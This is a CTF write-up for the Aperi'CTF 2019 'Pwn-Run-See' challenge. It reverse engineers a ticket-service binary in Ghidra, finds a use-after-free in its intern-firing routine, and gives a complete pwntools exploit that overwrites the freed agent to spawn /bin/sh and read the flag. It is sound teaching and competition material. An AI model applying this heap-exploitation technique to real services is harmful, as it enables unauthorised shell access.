Pwn-Run-See - Part 1

Aperi'CTF 2019 - Pwn (175 pts).

Aperi’CTF 2019 - Pwn-Run-See - Part 1

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Pwn-Run-See - Part 1 Pwn 175 6

We’re given a chall binary, its sources and the libc file.

Task description:

Reynholm Industries is a secretive company not willing to expose its activity.

Following an investigation, you discovered a ticket management service running on one of their servers.

Discover how this service works and find a way to access their server.

The service is running at pwn-run-see.aperictf.fr:1337.

Reading the name of the challenge dubbed “Pwn, Run, See” we can assume that it’s basically a pwn challenge.

A priori, we’re given the sources of the challenge, but instead of reading the code, I will focus on using Ghidra to reverse engineer the service and identify vulnerabilites.

In this writeup, we’ll use the following set of tools:

  • Ghidra for disasembling and decompiling
  • gdb with gef plugin for debugging
  • pwntools for exploit development using Python

Reverse Engineering

First, let’s just check the architecture of the binary to make sure we’ll be able to run it on our own machine:

file files/chall
files/chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=893097fb124a07abf5a1d80c36dfd992d86d9887, not stripped

The binary is dynamically linked, it means that it could be necessary to use the provided libc to run it, but that’s not really relevant for this challenge.

Ghidra configuration

Considering Ghidra’s recent release, I think it deserves some attention, which is the reason why I’ll analyze the binary using it.

First, we need to create a new non-shared project and import the ELF file :

ghidra project

If the tool association is correctly configured, double clicking on the ELF file should open it in the CodeBrowser.

We’re invited to start the binary analysis, the default settings are quite sufficient, we’ll only check the Decompiler Parameter ID analysis option which allows creating local variables for functions using the Decompiler.

Before entering the reverse engineering process, we’ll quickly configure our workspace to list the defined strings and functions ([Windows] > Defined Strings and [Windows] > Functions ).

Symbol Tree

Reading the symbols, defined strings and functions, we can confirm that the application contains some ticket manangement related functions such as:

  • Ticket management:
    • Creation: create_ticket() and new_ticket() functions
    • Listing: list_tickets(), show_ticket() functions and a tickets global variable
    • Processing: process_tickets() function
    • Update: update_ticket() function
  • Agent management:
    • Creation: new_agent() function
    • Listing: list_agents(), show_agent() functions
    • Update: update_agent() function
    • Search: find_agent() function
    • Deletion: fire_interns() function
  • Company management:
    • Creation: build_company() function
  • Task management:
    • Processing: run_task() function

The role of these functions is quite explicit according to their name, except the founder global variable, reset_tickets_count() function and the main() function.

Let’s use the Decompiler tool and analyze the main function.

main()

First, the main function is decoded as undefined4 main (void), it’s not that important, but let’s change it to int main (int argc, char **argv) (right-click > Edition Function Signature).

The main function contains references to the GS segment which is generally used for canary-based stack protection, we can ignore it and continue the analysis.

The setvbuf() function calls allows the service to be served using xinetd and others by changing buffering mode of stdout and stderr (0x2 corresponds to the _IONBF mode).

Then the main function call the function build_company() and basically display the user interface that’ll be used to serve some functions to the user:

  1. Agent management - listing
  2. Ticket management - listing
  3. Ticket management - creation
  4. Ticket management - processing

But it seems that we’ve no access to ticket update, agent (only listing), company and task management functions, these are probably restricted functions.

founder

Following the call to the build_company() function in main(), we find that the founder variable refers to the first agent of our company.

The founder variable is allocated on the heap (call to malloc()) and is 44 bytes wide, it’s then initialized using the update_agent() function. A new agent is then created using the new_agent() function.

Let’s dig deeper into the update_agent() function in order to retype the founder variable which is currently a char pointer.

update_agent()

Entering the function, we directly observe that the function consists essentially in strncpy() calls pointing to agent + offset, it means that our agent is a structure!

If we analyze the update_agent() function parameters (update_agent(founder, "The Founder", "DIR", "/bin/false")) and the calls to strncpy(), we can assume that the content of the agent structure will be the something like:

struct Agent_t {
    char name[0xc];          // agent+0x0 (strncpy(..., size_t n=0xc))
    char role[0x4];          // agent+0xc (strncpy(..., size_t n=0x4))
    void (*__agent_func)();  // agent+0x10 (0x804871b is pointing to a function)
    char __some_data1[0xc];  // agent+0x14 (0x20-0x14=0xc)
    char __some_data2[0x4];  // agent+0x20 (it's typed as void and contains a 0, so it's 4 bytes wide)
    char __some_data3[0x8];  // agent+0x24 (the struct is 44 bytes wide according to the malloc() call, so 44-0x24=0x8)
}

Let’s create this structure on Ghidra! Using the Data Type Manager, create a new structure (right-click on [chall] > New > Structure...):

  • Change its name to Agent_t (the _t is a naming convention to create a new type)
  • Change its size to 44 (according to the malloc() call found while analyzing the founder variable)
  • Create the fields from the top to the bottom of the struct (name, role, etc.)
  • Apply the editor changes

ghidra agent structure

Now that we’ve created our structure, we can apply it to our update_agent() function: click on the param1 variable, press ctrl-l, type Agent_t * then validate.

We can also update the function signature to: void update_agent (Agent_t * agent, char * name, char * role, char * __some_data1).

__some_data1 seems to contain a shell interpreter, let’s rename it to shell: click on the variable, press l, type shell then validate. The structure can be consequently updated using the Data Type Manager.

The function should look like this:

void update_agent(Agent_t *agent, char *name, char *role, char *shell) {
  int in_GS_OFFSET;
  int stack_cookie;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);  // stack cookie for stack smashing protection.

  strncpy((char *)agent,name,0xc);            // agent name.
  strncpy(agent->role,role,4);                // agent role.
  strncpy(agent->shell,shell,0xc);            // shell interpreter string.
  *(undefined4 *)agent->__some_data2 = 0;     // some unknown data.
  *(code **)&agent->__agent_func = run_task;  // run_task() function reference.

  // check the stack cookie.
  if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

The __agent_func field can be renamed to run_task. Now, let’s look at the new_agent() function.

new_agent()

Immediately after opening the function, we notice a reference to the founder variable:

local_18 = founder;

Let’s retype the local_18 variable and rename it to __founder_ptr (__ is used to mark assumptions).

If we look closely to the next instruction, we notice that our field __some_data3 is actually 4 bytes wide:

while (*(int *)(__founder_ptr->__some_data3 + 4) != 0) {
    __founder_ptr = *(Agent_t **)(__founder_ptr->__some_data3 + 4);
}
// ...
*(Agent_t **)agent->__some_data3 = __founder_ptr;
*(undefined4 *)(agent->__some_data3 + 4) = 0;

Also, both __some_data3 and __some_data3+4 variables seems to contain a pointer to another Agent_t structure.

This is undoubtly the sign of doubly linked lists, the __some_data3 being the pointer to the previous node and __some_data3+4 being the pointer to the next one (0/NULL for the last node).

doubly linked list diagram

Let’s complete our structure with these fields and rename __founder_ptr to prev_agent!

The function should look like this:

void new_agent(char *name, char *role, char *shell) {
  Agent_t *agent;
  int in_GS_OFFSET;
  Agent_t *prev_agent;
  int stack_cookie;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);  // stack cookie for stack smashing protection.

  agent = (Agent_t *)malloc(0x2c);  // allocate a new memory space on the heap.

  // search for the next free node to create a new agent.
  prev_agent = founder;
  while (prev_agent->next != (Agent_t *)0x0) {
    prev_agent = prev_agent->next;
  }
  prev_agent->next = agent;  // replace the next null pointer of the previous node with the new node.

  agent->prev = prev_agent;      // store the previous node.
  agent->next = (Agent_t *)0x0;  // the next node doesn't exist yet, it's a null pointer.

  update_agent(agent,name,role,shell);  // update structure content.

  // check the stack cookie.
  if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

Now, that we have a complete structure, it may be interesting to find what’s the purpose of the shell variable.

If we take a new look to the function list, we can expect the usage of the shell in the run_task() function which is also referenced inside the Agent_t structure.

run_task()

After a very quick reading of the function code, we notice that the function is using a new structure containing a task to be executed using the shell interpreter of an agent with the ADM role. It is also worth noting that the agent called “Moss” (in reference to a character from the series “The IT Crowd”) had been forbidden to execute commands.

By remembering the functions create_ticket(), new_ticket() and update_ticket(), we can assume that the new structure contains the ticket information.

Let’s look at the create_ticket() function and create the Ticket_t structure!

create_ticket()

This function is basically the GUI to fill new_ticket() arguments, after some reverse engineering work the code should look like this:

void create_ticket(void)

{
  uint desc_inc;          // position index (incremental) in description.
  int in_GS_OFFSET;
  char service [4];       // name of the destination service.
  char name [4];          // name of the user.
  char description [24];  // description of the ticket.
  int stack_cookie;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);  // stack cookie for stack smashing protection.

  // fill char arrays with null bytes.
  name = 0;
  service = 0;
  desc_inc = 0;
  do {
    *(undefined4 *)(description + desc_inc) = 0;
    desc_inc = desc_inc + 4;
  } while (desc_inc < 0x18);  // for all bytes of description.

  // get ticket info.
  fget_str("Your name: ",name,0xc);
  fget_str("The destination service: ",service,4);
  fget_str("Description: ",description,0x18);

  new_ticket(name,service,description);  // create a new ticket with these info.

  // check the stack cookie.
  if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

With a very short analysis of the new_ticket() function, we confirm that the size of the Ticket_t structure is 0x28 bytes wide, which corresponds to the 3 fields that we just found:

pvVar2 = malloc(0x28);

Now, we can assume that the content of the ticket structure will be the something like this:

struct Ticket_t {
    char name[0xc];          // ticket+0x0 (fget_str(..., 0xc))
    char service[0x4];       // ticket+0xc (fget_str(..., 0x4))
    char description[0x18];  // ticket+0x10 (fget_str(..., 0x18))
}

Let’s analyze the new_ticket() function.

new_ticket()

Retyping and renaming the different variables should reveal the following code:

void new_ticket(char *name, char *service, char *description) {
  Ticket_t *new_ticket;  // new ticket.
  int in_GS_OFFSET;
  int new_ticket_id;     // ticket id of the new ticket.
  int ticket_id;         // ticket id in the ticket list (incremental).
  int stack_cookie;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);  // stack cookie for stack smashing protection.
  new_ticket_id = -1;
  ticket_id = 0;

  do {
    if (0xf < ticket_id) {  // if we've not reached the maximum number of tickets.

free_space_found:  // label which is used when we've found a free space to create a new ticket.

      if (new_ticket_id == -1) {  // we can't create a new ticket.
        puts("Our agents are too busy...");
      } else {
        new_ticket = (Ticket_t *)malloc(0x28);                              // allocate space on the heap.
        (&tickets)[new_ticket_id] = new_ticket;                             // add the new ticket to the ticket list.
        update_ticket((&tickets)[new_ticket_id],name,service,description);  // update ticket content.
      }

      // check the stack cookie.
      if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
        __stack_chk_fail_local();
      }
      return;
    }

    if ((&tickets)[ticket_id] == (Ticket_t *)0x0) {  // if the ticket list contains a free pointer.
      new_ticket_id = ticket_id;                     // save the index of the free ticket_id.
      goto free_space_found;                         // create a new ticket.
    }

    ticket_id = ticket_id + 1;
  } while( true );
}

Now that we know how our tickets are initialized and stored, if we look back to the run_task() we notice that the description field of the Ticket_t structure is used as a parameter to our shell interpreter.

Alright, we have everything we need to start debugging our program and find a way to exploit the run_task() function to get a shell on the remote system!

Bug hunting

Now that we’ve done the first reverse engineering part, we can assume that we need to exploit the run_task() function in order to get a shell on the remote system.

As we saw in the run_task() function analysis, the agent who will be responsible for popping up a shell for us should have the role ADM and it should not be Moss.

We currently know that the following users exists:

  • The Founder:
    • Role: DIR
    • Shell: /bin/false
  • Moss:
    • Role: ADM
    • Shell: /bin/cat

The attack scenario can be schematized using the following diagram:

attack diagram

To summarize, we need to create a new user with a /bin/sh shell and the ADM role in order to make him execute a ticket just containing a -i in description field in order to get an interactive shell.

Let’s run the challenge and look if we can create a new user:

gdb-gef -q files/chall -ex 'r'
 _____ _      _        _   _
|_   _(_)    | |      | | (_)
  | |  _  ___| | _____| |_ _ _ __   __ _
  | | | |/ __| |/ / _ \ __| | '_ \ / _` |
  | | | | (__|   <  __/ |_| | | | | (_| |
  \_/ |_|\___|_|\_\___|\__|_|_| |_|\__, |
                                    __/ |
   ---  Reynholm Industries  ---   |___/

1 - Show company agents
2 - Show tickets
3 - Create ticket
4 - Ask the agents to process tickets
0 - Leave
Your choice:
=>

As we already noticed, we’ve no access to the agent management functions since we assumed that these are restricted functions. We’ve probably missed something while doing reverse engineering…

Let’s try to fuzz the program with some junk tickets to see what happens!

Your choice:
=> 3
Your name: aaaa
The destination service: aaaa
Description: aaaa
Your choice:
=> 4
Your ticket can't be processed because our agents are overwhelmed by work :/ We're recruiting an intern!
Looking The Founder for firing
Looking Moss for firing
Looking Intern for firing
Intern has been fired

Interesting things is that if the specified service doesn’t exist or isn’t claimed by any agent, the company will recruit a new agent (an intern) and fire him afterwards.

If we look at the ticket list to check if it has been consumed, there’s no return, the ticket has been freed from the ticket list. What about the agent list?

Your choice:
=> 1
======== AGENT [0x9261160] ========
Name: The Founder
Service: DIR
Task: /bin/false
Ticket count: 0
Run task: 0x804871b
====================================
======== AGENT [0x9261190] ========
Name: Moss
Service: ADM
Task: /bin/cat
Ticket count: 0
Run task: 0x804871b
====================================
======== AGENT [0x9261600] ========
Name:
Service: ADM
Task: /bin/false
Ticket count: 0
Run task: 0x804871b
====================================

That’s interesting, the new intern agent is supposed to be fired and then removed from the agent linked list.

Let’s reload our Ghidra project and analyze the process_tickets() function to understand what happened to the new agent.

process_tickets()

First, by reading the agent list, we’re informed that the __some_data2 field of our Agent_t structure is in fact a ticket counter, we can rename it.

After some analysis, the process_tickets() function should look like this:

void process_tickets(void) {
  int in_GS_OFFSET;
  int ticket_id;         // ticket id in the ticket list (incremental).
  Ticket_t *ticket;      // the ticket to be processed.
  Agent_t *found_agent;  // agent matching the destination service of the ticket.
  int stack_cookie;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);  // stack cookie for stack smashing protection.

  ticket_id = 0;
  found_agent = (Agent_t *)0x0;  // we've not found an agent to process the ticket yet.
  ticket = tickets[0];           // get the first ticket from the list.
  while ((ticket != (Ticket_t *)0x0 && (ticket_id < 0x10))) {  // while there is tickets left and that we've not reached the limit (0x10).
    found_agent = (Agent_t *)find_agent(ticket->service);  // look for an agent able to process the ticket.
    if (found_agent == (Agent_t *)0x0) {  // if no agent can process the ticket.
      puts(
          "Your ticket can\'t be processed because our agents are overwhelmed by work :/ We\'rerecruiting an intern!"
          );
      new_agent("Intern","ADM","/bin/false");  // we create a new agent with the ADM role.
    }
    else {
      printf("The following ticket will be processed by %s!\n",found_agent);
      show_ticket(ticket);  // show the ticket content.
      (*(code *)found_agent->run_task)(found_agent,ticket);  // process the ticket.
      free(tickets[ticket_id]);  // free the ticket memory space.
      found_agent->ticket_count = found_agent->ticket_count + 1;  // increment the ticket count.
    }
    tickets[ticket_id] = (Ticket_t *)0x0;  // remote the ticket from the list (even if has not been processed/freed).
    ticket_id = ticket_id + 1;
    ticket = tickets[ticket_id]; // get the next ticket.
  }

  fire_interns();  // fire the interns.

  // check the stack cookie.
  if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

An intern will be created with the ADM role if the agent responsible of the destination service is overwhelmed or if there is simply no agent for the destination service. The intern will be used afterwards to process next tickets (the previous is just dropped), then the intern will be fired.

Let’s now look why is the intern still there even after firing him.

fire_interns()

The code is pretty straightforward and should look like this:

void fire_interns(void) {
  int strcmp_result;
  int in_GS_OFFSET;
  Agent_t *agent;
  int stack_cookie;
  Agent_t *next_agent;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);  // stack cookie for stack smashing protection.
  agent = founder;
  next_agent = agent;
  while (agent = next_agent, agent != (Agent_t *)0x0) {  // loop for every agents.
    printf("Looking %s for firing\n",agent);
    next_agent = agent->next;
    strcmp_result = strcmp((char *)agent,"Intern");  // look if the agent name is "Intern".
    if (strcmp_result == 0) {  // if it's an intern.
      printf("%s has been fired\n",agent);
      free(agent);  // free the agent.
    }
  }

  // check the stack cookie.
  if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

It seems that the agent has been freed (as we saw, the name is popped) but the reference has been kept in the linked list, it’s a use-after-free vector!

Since the ticket is also allocated on the heap and that the whole content of the ticket matches the size of an agent structure (sizeof(Ticket_t) < sizeof(Agent_t)), we should be able to create an arbitrary agent using the create_ticket() function.

We just need to know how much tickets we need to overwhelm the Moss agent and finally exploit our user-after-free vulnerability to get a shell on the remote server. Let’s take a look at the find_agent() function!

find_agent()

After analyzing the function, the code should look like this:

Agent_t * find_agent(char *role) {
  int strcmp_result;
  int in_GS_OFFSET;
  Agent_t *found_agent;  // agent matching the destination service of the ticket.
  Agent_t *agent;
  int stack_cookie;

  stack_cookie = *(int *)(in_GS_OFFSET + 0x14);
  found_agent = (Agent_t *)0x0;
  agent = founder;
  while ((agent != (Agent_t *)0x0 && (found_agent == (Agent_t *)0x0))) {  // for all agents.
    strcmp_result = strcmp(agent->role,role);
    if ((strcmp_result == 0) && (agent->ticket_count < 4)) {  // if the destination service matches the agent role and its ticket_count is lower than 4.
      found_agent = agent;  // we've found our agent.
    }
    else {  // else, check next agent
      agent = agent->next;
    }
  }

  // check the stack cookie.
  if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return found_agent;
}

The agent must have processed less than 4 tickets to be assigned to a new ticket. We have all the puzzle pieces, we just need to put them together!

Exploitation

Exploiting a user-after-free vulnerability is simple and always consists of:

  1. allocating a memory space and storing data in it
  2. freeing this memory space without resetting the pointer to this memory space
  3. allocating a new memory space of the same size as the previous one, our first pointer is now poiting to the new arbitrary data
  4. using the first pointer with these arbitrary data

To automate the tests while developing the exploit, we’ll use the Python library called pwnlib!

In the exploit we just need to:

  1. create 4 junk tickets to overwhelm the Moss agent
  2. create an additional junk ticket to create an intern
  3. process the tickets
  4. overwrite the intern by creating a new ticket containing arbitrary ADM agent
  5. create a new ticket containing the argument to pass to our shell interpreter
  6. process the tickets and get a shell

use after free diagram

Please note that we’ve to keep the references to run_task() function, previous and next node unchanged if we don’t want to crash our program.

Result:

#!/usr/bin/python2
# coding: utf8

from pwn import *

PROMPT = '$ '
GDB = False

context.log_level = 'info'

## CREATE PROCESS
log.info('Opening process..')
p = process('./files/chall')

if GDB:
    gdb_cmd = 'c'
    gdb.attach(p, gdb_cmd)

## LOAD ELF / LIBC
elf = ELF('./files/chall')

def recv_menu():
    p.recvuntil('Your choice:\n=> ')

def new_ticket(name, service, description):
    p.sendline('3')
    p.recvuntil('Your name: ')
    p.sendline(name)
    p.recvuntil('The destination service: ')
    p.sendline(service)
    p.recvuntil('Description: ')
    p.sendline(description)
    recv_menu()

def process_tickets():
    p.sendline('4')

## GET SHELL
recv_menu()

run_task = elf.symbols['run_task']

log.info('Creating junk tickets...')
new_ticket('Blah', 'ADM', 'Junk')
new_ticket('Blah', 'ADM', 'Junk')
new_ticket('Blah', 'ADM', 'Junk')
new_ticket('Blah', 'ADM', 'Junk')

log.info('Creating an intern...')
new_ticket('Blah', 'ADM', 'Create intern')

process_tickets()
recv_menu()

log.info('Overwriting the intern...')
new_ticket("Creased", "ADM", '%s/bin/sh' % p32(run_task))
new_ticket("Creased", "ADM", "-i")

log.info('Getting a shell...')
process_tickets()

p.sendline('cat /data/flag')
p.interactive()
[*] Opening process..
[x] Starting local process './files/chall'
[+] Starting local process './files/chall': pid 4724
[*] '/home/creased/Documents/ctf/aperictf/pwn_run_see/files/chall'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Creating junk tickets...
[*] Creating an intern...
[*] Overwriting the intern...
[*] Getting a shell...
[*] Switching to interactive mode
The following ticket will be processed by Creased!
======== TICKET [0x903e260] ========
From: Creased
To: ADM
Description: �/bin/sh
====================================
Sorry Creased, but you're really dangerous... I'm calling the 01189998819991197253!
The following ticket will be processed by !
======== TICKET [0x903e230] ========
From: Creased
To: ADM
Description: -i
====================================
 agent is processing the task...
$ APRK{Us3_3m_4Ll_4f73r_fR3e!}
$

The final flag is APRK{Us3_3m_4Ll_4f73r_fR3e!}

Happy Hacking!

Creased